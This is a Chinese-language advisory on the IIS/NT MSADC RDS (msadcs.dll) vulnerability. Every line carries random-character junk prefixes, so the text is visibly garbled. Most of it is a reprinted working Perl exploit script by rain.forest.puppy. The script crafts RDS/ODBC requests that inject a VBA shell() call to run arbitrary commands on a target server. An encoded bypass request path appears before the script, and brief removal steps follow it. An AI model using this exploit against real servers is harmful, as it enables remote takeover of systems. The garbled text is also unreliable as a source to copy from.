IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"7=bL7wM& ^Xs%.`Gv/ 涉及程序：
)|y#O ZHR Microsoft NT server
fy&#M3UA\U &Nc[$H7< 描述：
)@}A
r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fL!V$]HNt ,~(|p` 详细：
T/[f5? p 如果你没有时间读详细内容的话，就删除:
lij B#1<8* c:\Program Files\Common Files\System\Msadc\msadcs.dll
tNK^z7D m 有关的安全问题就没有了。
A LXUaE. Q |
微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,{k<JA { 8y$5oD6g9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
m</]D WJ 关于利用ODBC远程漏洞的描述，请参看:
}>2t&+v+ WgE@8 9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NW
z9C=y di 7A/ B 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Da-u-_~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp B@ -|b A9
U5,mOz 这里不再论述。
k+FMZ, D| d 9O:,DKf 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
xEjx]w/& ]?[zx'| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2(pLxVl 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^^%JoQ. & =G)NeT_ H#OYw#L"u #将下面这段保存为txt文件，然后: "perl -x 文件名"
%/5 1o6a >-!r9"8@ #!perl
+A@m9 #
l bRzx4=\y # MSADC/RDS 'usage' (aka exploit) script
{$;2 HbM( #
`M&P[ .9Pz # by rain.forest.puppy
5J
ySFG3 #
j(j#0dXLh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
[ w!C*_V 9 # beta test and find errors!
G\R*#4cF ^w.]Hd 2 use Socket; use Getopt::Std;
w&%9IJ getopts("e:vd:h:XR", \%args);
6Lb {r4^ Uo~T'mA" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z<!O!wX_aI >Iuzk1'S if (!defined $args{h} && !defined $args{R}) {
G~"z_ ( print qq~
u$C\E<G^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Oukd_Ryf -h <host> = host you want to scan (ip or domain)
:$NsR*Cq*9 -d <seconds> = delay between calls, default 1 second
GQb i$kl -X = dump Index Server path table, if available
V\0E=M*P -v = verbose
I!P4(3skAB -e = external dictionary file for step 5
u^t$ cLIZ c&E]E( Or a -R will resume a command session
g0 PT8]8 Xx_tpC? ~; exit;}
Qlw >+y-i 9TC)
w| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
58: :h. : if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~(P&g7 u if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Zae.MO^C! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u QnT[\k? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S<"oUdkz if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%)?`{O~ h @Gt`Ds9= if (!defined $args{R}){ $ret = &has_msadc;
O r7
mD die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&= X.* H% V43TO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SrF x_n . "cmd /c ";
V^WU8x $in=<STDIN>; chomp $in;
Q=WySIF. $command="cmd /c " . $in ;
|#k@U6`SG }Al YNEY if (defined $args{R}) {&load; exit;}
PQ$sOK|/ A{N\) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
M diw Ri &try_btcustmr;
b?8)7.{F{ 4ZwK pQ6 print "\nStep 2: Trying to make our own DSN...";
\w%@?Qik &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^ *0'\/N& <`)iA-Df;9 print "\nStep 3: Trying known DSNs...";
96c?3y a &known_dsn;
{L].T# rh66_eV print "\nStep 4: Trying known .mdbs...";
E;9>ePd@ &known_mdb;
k[ %aCGo lNz]H iD if (defined $args{e}){
4 j X3lq| print "\nStep 5: Trying dictionary of DSN names...";
x: fW~!Xc6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:S -";.:" .fp&MgiQ print "Sorry Charley...maybe next time?\n";
5pfYEofK[ exit;
D<>@
%"% XRxj W ##############################################################################
I-kWS 4 " u492^ sub sendraw { # ripped and modded from whisker
!X]8d yW sleep($delay); # it's a DoS on the server! At least on mine...
1y(UgEg my ($pstr)=@_;
8PBvV[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_ [t8rl die("Socket problems\n");
?T!)X)A# if(connect(S,pack "SnA4x8",2,80,$target)){
@ }&_Dv f select(S); $|=1;
$=)gp PT print $pstr; my @in=<S>;
?IF) +] select(STDOUT); close(S);
jo9gCP. return @in;
((bTwx } else { die("Can't connect...\n"); }}
O$D?A2eI uOd& XW ##############################################################################
9AQxNbs T.ML$"f sub make_header { # make the HTTP request
5Sva}9H my $msadc=<<EOT
36vgX=} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n<7u>;SJQ User-Agent: ACTIVEDATA
\~~ }N4 Host: $ip
,eRQu. Content-Length: $clen
nL-K)G, Connection: Keep-Alive
T^:fn-S}= }r%X`i| ADCClientVersion:01.06
QI_4* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
iOCqE 5d3 9t$] X>} --!ADM!ROX!YOUR!WORLD!
bm# ( ? Content-Type: application/x-varg
YlF%UPp Content-Length: $reqlen
H,y4`p 0 -oP'4QVb EOT
]rN#B-aAr ; $msadc=~s/\n/\r\n/g;
R[jEvyD>( return $msadc;}
y >+mc7n VUwC-) ##############################################################################
xfFg,9w8 ba@ctkCW sub make_req { # make the RDS request
O9"/
kmB my ($switch, $p1, $p2)=@_;
U z
dc my $req=""; my $t1, $t2, $query, $dsn;
aG%, cQ 1 f-SuM% S_ if ($switch==1){ # this is the btcustmr.mdb query
y7)(LQRE
{ $query="Select * from Customers where City=" . make_shell();
Bd~ 1P/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)Xt n k $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-7{ $ V j 'hqBo| elsif ($switch==2){ # this is general make table query
,xfO;yd $query="create table AZZ (B int, C varchar(10))";
8gy_Yj&{P $dsn="$p1";}
wW>fV P r @~ETj26U' elsif ($switch==3){ # this is general exploit table query
2%u;$pj $query="select * from AZZ where C=" . make_shell();
g(|{')8?d $dsn="$p1";}
T ~4N+fK ~1L:_Sg* elsif ($switch==4){ # attempt to hork file info from index server
E 3aDDFDH $query="select path from scope()";
XYr J/!*. $dsn="Provider=MSIDXS;";}
SF* n1V3hx 3W_PE+:Kr elsif ($switch==5){ # bad query
D5,P)[ $query="select";
Wwujh2g"0| $dsn="$p1";}
EYX$pz(x; $O)3 q
$| $t1= make_unicode($query);
p-SJ6Gg
9 $t2= make_unicode($dsn);
kgi>}
% $req = "\x02\x00\x03\x00";
[U/(<?F{( $req.= "\x08\x00" . pack ("S1", length($t1));
._O $req.= "\x00\x00" . $t1 ;
3?n>yS $req.= "\x08\x00" . pack ("S1", length($t2));
w= P 9FxB $req.= "\x00\x00" . $t2 ;
2*iIj w3g $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$ *R/tJ. return $req;}
T~_/Vi uxaYCa? ##############################################################################
C Qh,~ Q'O[R+YT , sub make_shell { # this makes the shell() statement
f w 6UhG return "'|shell(\"$command\")|'";}
/FP5 `:PfL ]X Z-o>+ , ##############################################################################
%zk$}}ti. uocHa5J sub make_unicode { # quick little function to convert to unicode
}a
AH my ($in)=@_; my $out;
ig}A9j?] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
NKb1LbnZ*y return $out;}
xg_D f, 6 GP p>X ##############################################################################
Q6' x\ L2 Pujk sub rdo_success { # checks for RDO return success (this is kludge)
uvP2 W g t my (@in) = @_; my $base=content_start(@in);
YjOs}TD lx if($in[$base]=~/multipart\/mixed/){
v[e:qi&fG return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)B,|@y nu return 0;}
1K,1X(0rL8 \^7C0R-hX ##############################################################################
OyV<u@[i L@`ouQ"sa sub make_dsn { # this makes a DSN for us
~w8JH2O my @drives=("c","d","e","f");
D^%^xq ) E print "\nMaking DSN: ";
'R`tLN foreach $drive (@drives) {
z4M9M7)" print "$drive: ";
&F STpBu my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;2' q_Btk4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Urr#N . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X3' H
`/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h.O$]:N return 0 if $2 eq "404"; # not found/doesn't exist
Wjh vxk if($2 eq "200") {
WOu EW w= foreach $line (@results) {
AdRX`[ik return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^uv<6 } return 0;}
mKo C.J Vq;dJ%sY ##############################################################################
w2_bd7Wp< b)(?qfXWP sub verify_exists {
>h0- ; my ($page)=@_;
*HE uorl my @results=sendraw("GET $page HTTP/1.0\n\n");
M@0;B30L return $results[0];}
)jrV#/m9 2 {|h8oz ##############################################################################
7i&:DePM'q T^J >ZDA sub try_btcustmr {
5w aKI?4F my @drives=("c","d","e","f");
^&y$Wd]6 my @dirs=("winnt","winnt35","winnt351","win","windows");
\]$IDt(s ( =~&+z foreach $dir (@dirs) {
K2%w0ohC print "$dir -> "; # fun status so you can see progress
P(F+ f `T foreach $drive (@drives) {
|$5[(6T| print "$drive: "; # ditto
3U_2! zF3_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
V< k8N^ $reqlenlen=length( "$reqlen" );
.tD *2 $clen= 206 + $reqlenlen + $reqlen;
?QE,;QtpK |2{wG 4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@E:,lA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g=I8@m else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)iFJz/n> /cU<hApK ##############################################################################
o=0]el^A W`c'=c sub odbc_error {
E[Cb|E my (@in)=@_; my $base;
| 4'Y/re my $base = content_start(@in);
jH_JmYd if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$56,$K`H $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xyI}y(CN1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7jdb)l\p= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bV,}Pp+/"! return $in[$base+4].$in[$base+5].$in[$base+6];}
V+O"j^Z_J print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2 RSt)3!}, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-[-wkC8a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
B( M6@1m_ ..rOsg{ ##############################################################################
0jEL<TgC s6>ZREf#J sub verbose {
@')[FEdW my ($in)=@_;
9-MUX^?u return if !$verbose;
8<Hf" M print STDOUT "\n$in\n";}
CHz+ 814 &RfC"lc ##############################################################################
oc s+d\ ynbuN x* sub save {
t. ;LnrY my ($p1, $p2, $p3, $p4)=@_;
G;YrF)\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r? /'!!4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
- \C!I close OUT;}
AvW:<}a, c"[cNZo ##############################################################################
:Y [LN z*-2.}&U< sub load {
%f]:I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<_7*67{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
R
rda# h^ @p=<IN>; close(IN);
>3Eo@J,?d $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
I"GB <oB $target= inet_aton($ip) || die("inet_aton problems");
( SvWv m print "Resuming to $ip ...";
|j7,Mu+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/FRm2m83 if($p[1]==1) {
OLE[UXD-E $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
fZoHf\B]{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Oeok ; : my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`^)jLuyu
if (rdo_success(@results)){print "Success!\n";}
/HaHH.e else { print "failed\n"; verbose(odbc_error(@results));}}
9E6_]8rl elsif ($p[1]==3){
,k;^G><
= if(run_query("$p[3]")){
1u: <
25 print "Success!\n";} else { print "failed\n"; }}
a24"yT elsif ($p[1]==4){
.nVa[B |. if(run_query($drvst . "$p[3]")){
BBev< print "Success!\n"; } else { print "failed\n"; }}
cH&J{WeZa exit;}
:>C2gS@ 0.@&_XTPl ##############################################################################
"/ wyZ H5Io{B%= sub create_table {
h%uZYsK my ($in)=@_;
2%_vXo=I $reqlen=length( make_req(2,$in,"") ) - 28;
WHj'dodS $reqlenlen=length( "$reqlen" );
~GZY 5HF $clen= 206 + $reqlenlen + $reqlen;
):[7E( F= my @results=sendraw(make_header() . make_req(2,$in,""));
(^Y~ / return 1 if rdo_success(@results);
i uF*.hc,% my $temp= odbc_error(@results); verbose($temp);
C@'h<[v`1v return 1 if $temp=~/Table 'AZZ' already exists/;
N u <_} return 0;}
$adbCY \ 6V7B;tB ##############################################################################
%yv<y+yP~ ]d!
UJ&<? sub known_dsn {
qm" rY\: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q|#W#LV,K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q!|*oUW "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1ng!G 7g "banner", "banners", "ads", "ADCDemo", "ADCTest");
?j"KV_ ?B2] -+Y foreach $dSn (@dsns) {
Gz,i~XX print ".";
{?:X8&Sf next if (!is_access("DSN=$dSn"));
Hl{S]]z if(create_table("DSN=$dSn")){
iT 2B'QI=< print "$dSn successful\n";
J4f i' if(run_query("DSN=$dSn")){
rus tMs2p print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z$/xy" print "Something's borked. Use verbose next time\n";}}} print "\n";}
o! kbK#k ~f$|HP} ##############################################################################
SAy=WV ^\4h<M sub is_access {
JvVWG'Z" my ($in)=@_;
cj$[E]B3V* $reqlen=length( make_req(5,$in,"") ) - 28;
UG+d-&~Ll $reqlenlen=length( "$reqlen" );
_./Sk| C $clen= 206 + $reqlenlen + $reqlen;
1;Ou7T9w my @results=sendraw(make_header() . make_req(5,$in,""));
xc=b
|:A my $temp= odbc_error(@results);
^")Q YE verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MkfBu W;) return 0;}
U:^PC
x` Y 0d<~* ##############################################################################
t gI{`jS% ~?d Nd sub run_query {
#h`
V>; my ($in)=@_;
S[PE$tYT#t $reqlen=length( make_req(3,$in,"") ) - 28;
0jy2H2 $reqlenlen=length( "$reqlen" );
DtXrWS/ $clen= 206 + $reqlenlen + $reqlen;
VY
| _d k my @results=sendraw(make_header() . make_req(3,$in,""));
g?z/2 zKR return 1 if rdo_success(@results);
3G}x;Cp\D my $temp= odbc_error(@results); verbose($temp);
1g8_Xe4 return 0;}
*U&0<{|T :~Wrf8 UQ ##############################################################################
$4h 5rC g0 ywGd> @ sub known_mdb {
PQ5QA61 my @drives=("c","d","e","f","g");
}dgfqq my @dirs=("winnt","winnt35","winnt351","win","windows");
4T|b
Cs?e my $dir, $drive, $mdb;
Oo5w?+t my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`6~Aoe J^SdH&%Z # this is sparse, because I don't know of many
a_f ~N1kq my @sysmdbs=( "\\catroot\\icatalog.mdb",
cW@Zd5&0S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
E8$ 20Ue "\\system32\\certmdb.mdb",
/Z'L^ L%R "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
"{@A5A 9K{%vK my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
le/,R@]B9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
,(qRc (Ho "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
B-ngn{Yc "\\cfusion\\cfapps\\security\\realm_.mdb",
.HS"}A T "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GpY"f c% "\\cfusion\\database\\cfexamples.mdb",
0D\#Pq
v "\\cfusion\\database\\cfsnippets.mdb",
Dfg2`l "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X[]m _@ v "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6 Ypc` "\\cfusion\\brighttiger\\database\\cleam.mdb",
We$:&K0 "\\cfusion\\database\\smpolicy.mdb",
E ~Sb "\\cfusion\\database\cypress.mdb",
,?8qpEG~#+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/uPcXq:L~ "\\website\\cgi-win\\dbsample.mdb",
p>RNPrT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_=_Px@<Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
UO0{): w> ); #these are just
-JMdE_h foreach $drive (@drives) {
G&D7a/G\ foreach $dir (@dirs){
:ubV }; foreach $mdb (@sysmdbs) {
4 >F'oqFF print ".";
0m%|U'm|j if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
gd%NkxmW print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q)X$^oE!6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
OK[T3/v, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^t` k0< } else { print "Something's borked. Use verbose next time\n"; }}}}}
`^u>9v-+' *6sl foreach $drive (@drives) {
K2M~-S3 foreach $mdb (@mdbs) {
qL n/2 print ".";
+T|JK7 if(create_table($drv . $drive . $dir . $mdb)){
[ey:e6,T9 print "\n" . $drive . $dir . $mdb . " successful\n";
|'P]GK if(run_query($drv . $drive . $dir . $mdb)){
SQBa;hvgM print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
l~c@^! } else { print "Something's borked. Use verbose next time\n"; }}}}
7X0Lq }G@ }
%HGD;_bhI =XA;[PVx:# ##############################################################################
iHeN9 cl z:8eEq3w sub hork_idx {
c`J.Tm[_u print "\nAttempting to dump Index Server tables...\n";
=
s>T;| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Vq 2y4D? $reqlen=length( make_req(4,"","") ) - 28;
HG^ B#yX $reqlenlen=length( "$reqlen" );
u$DHVRrF< $clen= 206 + $reqlenlen + $reqlen;
!\zWF my @results=sendraw2(make_header() . make_req(4,"",""));
jN{Xfjmfv if (rdo_success(@results)){
LPZF)@|` my $max=@results; my $c; my %d;
V=R 3)GC for($c=19; $c<$max; $c++){
:[wsKFaV+ $results[$c]=~s/\x00//g;
Lm*e5JnV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F"&~*m^+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]NUl9t*N4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
JlH&?? $d{"$1$2"}="";}
{G U&a foreach $c (keys %d){ print "$c\n"; }
.>= (' - } else {print "Index server doesn't seem to be installed.\n"; }}
3LAIl913 o< |c A5f\ ##############################################################################
5's87Z;6 XC4X-j3 sub dsn_dict {
l)G^cSHF.3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ov 5" while(<IN>){
+ln9c $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^ V ?<K.F next if (!is_access("DSN=$dSn"));
^ 8 z R if(create_table("DSN=$dSn")){
UJD 0K]s print "$dSn successful\n";
(U&tt]| if(run_query("DSN=$dSn")){
v25R_""~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4" Cb/y3 print "Something's borked. Use verbose next time\n";}}}
;nep5!s;< print "\n"; close(IN);}
"fG8?)d; N >FKy'.gk ##############################################################################
!TAlB kj <v)1<*I sub sendraw2 { # ripped and modded from whisker
DK$X2B"c V sleep($delay); # it's a DoS on the server! At least on mine...
0" kbrv2y my ($pstr)=@_;
XRcq hv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sPr~=, F die("Socket problems\n");
m_.>C if(connect(S,pack "SnA4x8",2,80,$target)){
o C< . =2] print "Connected. Getting data";
g<l1zo`_ open(OUT,">raw.out"); my @in;
f$+,HB select(S); $|=1; print $pstr;
H\ h3 TdL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$w)!3c4 close(OUT); select(STDOUT); close(S); return @in;
NG--6\ } else { die("Can't connect...\n"); }}
d: #yEC _2h S";K ##############################################################################
ti5mIW\ GC>e26\: sub content_start { # this will take in the server headers
2Z -ljD& my (@in)=@_; my $c;
!Y$h"<M for ($c=1;$c<500;$c++) {
O~T@rX9f if($in[$c] =~/^\x0d\x0a/){
_Tf4WFu2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/M|2 62% else { return $c+1; }}}
k jg~n9#T return -1;} # it should never get here actually
K?[q% W]% xDG2ws=@D ##############################################################################
igIRSN}h Tu$ f? sub funky {
k,85Y$`' my (@in)=@_; my $error=odbc_error(@in);
GC?ON0g5s if($error=~/ADO could not find the specified provider/){
rm5bkJcg~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~ DBcIy? exit;}
",^Mxm{ if($error=~/A Handler is required/){
ZjgsR|i print "\nServer has custom handler filters (they most likely are patched)\n";
s "0Y3x3 exit;}
!F1M(zFD if($error=~/specified Handler has denied Access/){
R@/"B8H print "\nServer has custom handler filters (they most likely are patched)\n";
5 xppKt exit;}}
6 N",- c 43|XSyS ##############################################################################
4[.oPK=i j"}*T sub has_msadc {
aNSc F my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ZG>PQA my $base=content_start(@results);
V,mw[ Hw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
lhYe;b( return 0;}
IAw{P08+ kddZZA3` ########################
7Nk!1s : ]ro*G"-_1# '_GrD>P)- 解决方案：
xfpa]Z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Jbjmv: db 2、移除web 目录: /msadc
